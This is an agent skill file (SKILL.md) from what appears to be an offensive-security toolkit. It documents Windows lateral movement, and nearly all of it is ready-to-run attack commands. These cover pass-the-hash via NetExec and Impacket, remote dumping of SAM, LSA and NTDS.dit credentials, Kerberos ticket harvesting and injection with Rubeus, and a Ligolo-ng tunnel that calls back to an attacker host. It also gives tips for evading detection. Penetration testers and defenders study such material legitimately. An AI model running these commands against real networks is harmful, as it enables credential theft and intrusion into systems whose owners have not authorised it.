lateral-movement

Files (1)

• SKILL.md

SKILL.md (first lines)

---
name: lateral-movement
description: "Network lateral movement — Pass-the-Hash, Pass-the-Ticket, WMI/WinRM/PsExec/RDP execution, SMB operations, network tunneling with Ligolo-ng and Chisel."
allowed-tools: Bash Read Write
metadata:
  subdomain: lateral-movement
  when_to_use: "lateral movement, pass the hash, pass the ticket, WMI exec, evil-winrm, psexec, pivot, tunnel, Ligolo, Chisel, smbexec"
  tags: lateral, pth, ptt, wmi, winrm, psexec, rdp, smb, pivot, tunnel, ligolo, chisel
  mitre_attack: T1021.002, T1021.006, T1021.001, T1550.002, T1550.003, T1572
---

# Lateral Movement Knowledge Base

Lateral movement uses captured credentials and network access to move between hosts in a compromised environment. Each technique has a different noise profile, artifact footprint, and prerequisite. Choose based on available credentials, target services, and OPSEC requirements.

## Quick Reference
```bash
# Pass-the-Hash — command exec via SMB (CrackMapExec/NetExec)
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'

# WMI execution — semi-interactive shell
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# PsExec — SYSTEM shell via service creation
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Evil-WinRM — PowerShell remoting with hash
evil-winrm -i <TARGET> -u '<USER>' -H '<NTLM_HASH>'

# SMB file operations
smbclient.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# Ligolo-ng tunnel setup
./proxy -selfcert -laddr 0.0.0.0:11601          # Attacker
./agent -connect <ATTACKER_IP>:11601 -ignore-cert # Pivot host
```

## MITRE ATT&CK Mapping

| Technique ID | Name | Tools |
|-------------|------|-------|
| T1550.002 | Pass the Hash | CrackMapExec/NetExec, Impacket, Mimikatz |
| T1550.003 | Pass the Ticket | Rubeus, Mimikatz |
| T1021.002 | SMB/Windows Admin Shares | psexec.py, smbexec.py, smbclient.py |
| T1021.006 | Windows Remote Management | Evil-WinRM |
| T1021.001 | Remote Desktop Protocol | SharpRDP, xfreerdp |
| T1572 | Protocol Tunneling | Ligolo-ng, Chisel |

## 1. Pass-the-Hash (PtH)

### CrackMapExec / NetExec
```bash
# Execute command via SMB using NTLM hash
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -x 'whoami'

# Execute PowerShell command
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' -X 'Get-Process'

# Check local admin on multiple hosts (spray hash)
nxc smb <SUBNET>/24 -u '<USER>' -H '<NTLM_HASH>' | tee pth_spray_<TARGET>.log

# Dump SAM on remote host after PtH
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --sam

# Dump LSA secrets remotely
nxc smb <TARGET> -u '<USER>' -H '<NTLM_HASH>' --lsa

# Extract NTDS.dit from DC
nxc smb <DC_IP> -u '<USER>' -H '<NTLM_HASH>' --ntds
```

### Impacket PtH Suite
```bash
# psexec with hash — returns SYSTEM shell
psexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# wmiexec with hash — returns user-context shell, fewer artifacts
wmiexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# smbexec with hash — no binary upload, uses service creation
smbexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH>

# atexec with hash — uses scheduled task
atexec.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> 'whoami'
```

### PtH Method Comparison

| Method | Shell Context | Artifacts | Binary Upload | Noise Level |
|--------|--------------|-----------|---------------|-------------|
| psexec.py | SYSTEM | Service creation (7045), ADMIN$ write | Yes (.exe) | High |
| wmiexec.py | User | WMI process creation, no service | No | Low-Medium |
| smbexec.py | SYSTEM | Service creation, no binary upload | No | Medium |
| atexec.py | SYSTEM | Scheduled task creation | No | Medium |
| nxc -x | User | Depends on exec method | Varies | Medium |

## 2. Pass-the-Ticket (PtT)

### Rubeus — Ticket Import & Use
```powershell
# Import .kirbi ticket into current session
Rubeus.exe ptt /ticket:<BASE64_TICKET>

# Import from .kirbi file
Rubeus.exe ptt /ticket:C:\Windows\Temp\ticket.kirbi

# Request TGT with NTLM hash, then inject
Rubeus.exe asktgt /user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN> /ptt

# Request TGT with AES256 key (stealthier — avoids RC4 downgrade detection)
Rubeus.exe asktgt /user:<USER> /aes256:<AES_KEY> /domain:<DOMAIN> /ptt

# List cached tickets
Rubeus.exe triage
Rubeus.exe klist

# Harvest all tickets from memory
Rubeus.exe dump /nowrap
```

From DorianGallo/Decepticon-local, Apache-2.0.

More from DorianGallo/Decepticon-local